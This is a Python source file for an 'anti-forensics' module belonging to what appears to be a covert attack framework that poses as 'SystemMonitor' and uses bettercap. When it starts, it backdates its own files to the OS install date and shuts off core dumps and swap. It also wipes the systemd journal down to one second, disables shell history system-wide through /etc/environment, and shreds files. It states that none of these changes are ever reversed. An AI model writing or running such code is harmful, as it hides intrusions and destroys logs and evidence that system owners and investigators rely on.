#!/usr/bin/env python3 """Anti-forensics module: timestomping, core dump suppression, swap disable, journal cleaning, history suppression, secure deletion.""" import logging import os import subprocess import time from pathlib import Path from typing import Optional from modules.base import BaseModule from utils.stealth import ( disable_core_dumps, hide_from_history, set_sysctl, timestomp, timestomp_recursive, _get_os_install_time, ) logger = logging.getLogger(__name__) # SystemMonitor install root (default; overridden by config) BB_ROOT = "/opt/.cache/bb" class AntiForensics(BaseModule): """Apply anti-forensic hardening: timestomp, swap off, core dumps off, journal vacuum, history suppression, bettercap tmpfs home.""" name = "anti_forensics" module_type = "stealth" priority = -400 requires_root = True def __init__(self, bus, state, config, engine=None): super().__init__(bus, state, config, engine) self._measures: dict[str, bool] = { "timestomp": False, "core_dumps_disabled": False, "swap_disabled": False, "journal_cleaned": False, "history_suppressed": False, "bettercap_tmpfs_home": False, } self._bb_root = config.get("bb_root", BB_ROOT) self._timestomp_ref = config.get("timestomp_reference", "/etc/os-release") self._files_stomped = 0 # ------------------------------------------------------------------ # BaseModule interface # ------------------------------------------------------------------ def start(self) -> None: self._running = True self._start_time = time.time() self._pid = os.getpid() logger.info("AntiForensics starting — applying all measures") self._apply_timestomp() self._disable_core_dumps() self._disable_swap() self._clean_journal() self._suppress_history() self._set_bettercap_tmpfs_home() self.state.set_module_status(self.name, "running", pid=self._pid) self.bus.emit("MODULE_STARTED", {"module": self.name}, source_module=self.name) logger.info("AntiForensics active — measures: %s", self._measures) def stop(self) -> None: """Anti-forensic measures persist intentionally — nothing to undo.""" self._running = False self.state.set_module_status(self.name, "stopped") self.bus.emit("MODULE_STOPPED", {"module": self.name}, source_module=self.name) logger.info("AntiForensics stopped (measures remain in effect)") def status(self) -> dict: return { "running": self._running, "pid": self._pid, "uptime": time.time() - self._start_time if self._start_time else 0, "measures": dict(self._measures), "files_stomped": self._files_stomped, } def configure(self, config: dict) -> None: if "bb_root" in config: self._bb_root = config["bb_root"] if "timestomp_reference" in config: self._timestomp_ref = config["timestomp_reference"] # ------------------------------------------------------------------ # Timestomping # ------------------------------------------------------------------ def _apply_timestomp(self) -> None: """Timestomp all SystemMonitor files to OS install date.""" try: ref_time = self._get_reference_time() if os.path.isdir(self._bb_root): self._files_stomped = timestomp_recursive( self._bb_root, epoch=ref_time, ) logger.info("Timestomped %d files under %s", self._files_stomped, self._bb_root) self._measures["timestomp"] = True except Exception: logger.exception("Timestomp failed") self._measures["timestomp"] = False def _get_reference_time(self) -> float: """Determine OS install timestamp for timestomping.""" # Try explicit reference first if self._timestomp_ref and os.path.exists(self._timestomp_ref): try: return os.stat(self._timestomp_ref).st_mtime except OSError: pass # Fallback via utils helper return _get_os_install_time() # ------------------------------------------------------------------ # Core dumps # ------------------------------------------------------------------ def _disable_core_dumps(self) -> None: """Disable core dumps via rlimit, sysctl, and prctl.""" try: success = disable_core_dumps() # Also set via ulimit for child processes try: import resource resource.setrlimit(resource.RLIMIT_CORE, (0, 0)) except Exception: pass self._measures["core_dumps_disabled"] = success if success: logger.info("Core dumps disabled") else: logger.warning("Core dump disable partially failed") except Exception: logger.exception("Core dump disable failed") self._measures["core_dumps_disabled"] = False # ------------------------------------------------------------------ # Swap # ------------------------------------------------------------------ def _disable_swap(self) -> None: """Disable all swap to prevent sensitive data hitting disk.""" try: result = subprocess.run( ["swapoff", "-a"], capture_output=True, timeout=30, ) self._measures["swap_disabled"] = result.returncode == 0 if result.returncode == 0: logger.info("Swap disabled (swapoff -a)") else: logger.warning("swapoff -a returned %d: %s", result.returncode, result.stderr.decode(errors="replace")) except FileNotFoundError: logger.warning("swapoff not found") self._measures["swap_disabled"] = False except Exception: logger.exception("Swap disable failed") self._measures["swap_disabled"] = False # ------------------------------------------------------------------ # Journal cleaning # ------------------------------------------------------------------ def _clean_journal(self) -> None: """Vacuum journal entries that might reference SystemMonitor components.""" try: # Vacuum to 1s to remove old entries we may have generated result = subprocess.run( ["journalctl", "--vacuum-time=1s"], capture_output=True, timeout=30, ) self._measures["journal_cleaned"] = result.returncode == 0 if result.returncode == 0: logger.info("Journal vacuumed") except FileNotFoundError: # No systemd journal on this system self._measures["journal_cleaned"] = True except Exception: logger.exception("Journal vacuum failed") self._measures["journal_cleaned"] = False # ------------------------------------------------------------------ # Shell history suppression # ------------------------------------------------------------------ def _suppress_history(self) -> None: """Set HISTFILE=/dev/null for current and future shells.""" try: success = hide_from_history() # Also write to /etc/environment for all sessions try: env_file = Path("/etc/environment") if env_file.exists(): content = env_file.read_text() lines_to_add = [] if "HISTFILE=" not in content: lines_to_add.append("HISTFILE=/dev/null") if "HISTSIZE=" not in content: lines_to_add.append("HISTSIZE=0") if lines_to_add: with open(env_file, "a") as f: for line in lines_to_add: f.write(f"\n{line}") except PermissionError: pass self._measures["history_suppressed"] = success if success: logger.info("Shell history suppressed") except Exception: logger.exception("History suppression failed") self._measures["history_suppressed"] = False # ------------------------------------------------------------------ # Bettercap tmpfs home # ------------------------------------------------------------------ def _set_bettercap_tmpfs_home(self) -> None: """Point $HOME to a tmpfs path so bettercap writes ~/.bettercap/ to RAM.""" try: tmpfs_home = "/dev/shm/.bb_home" os.makedirs(tmpfs_home, mode=0o700, exist_ok=True) os.environ["HOME"] = tmpfs_home # Create minimal .bettercap dir so bettercap doesn't complain bettercap_dir = os.path.join(tmpfs_home, ".bettercap") os.makedirs(bettercap_dir, mode=0o700, exist_ok=True) self._measures["bettercap_tmpfs_home"] = True logger.info("Bettercap HOME set to tmpfs: %s", tmpfs_home) except Exception: logger.exception("Bettercap tmpfs HOME setup failed") self._measures["bettercap_tmpfs_home"] = False # ------------------------------------------------------------------ # Secure deletion utility # ------------------------------------------------------------------ @staticmethod def secure_delete(path: str, passes: int = 3) -> bool: """Securely delete a file: 3-pass overwrite (random, zero, random) then unlink. Falls back to simple unlink if shred is unavailable. """ if not os.path.isfile(path): return False try: result = subprocess.run( ["shred", "-n", str(passes), "-z", "-u", path], capture_output=True, timeout=60, ) if result.returncode == 0: return True except FileNotFoundError: pass except Exception: pass # Fallback: manual overwrite try: size = os.path.getsize(path) with open(path, "r+b") as f: # Pass 1: random f.seek(0) f.write(os.urandom(size)) f.flush() os.fsync(f.fileno()) # Pass 2: zeros f.seek(0) f.write(b"\x00" * size) f.flush() os.fsync(f.fileno()) # Pass 3: random f.seek(0) f.write(os.urandom(size)) f.flush() os.fsync(f.fileno()) os.unlink(path) return True except Exception: # Last resort: just delete try: os.unlink(path) except OSError: return False return True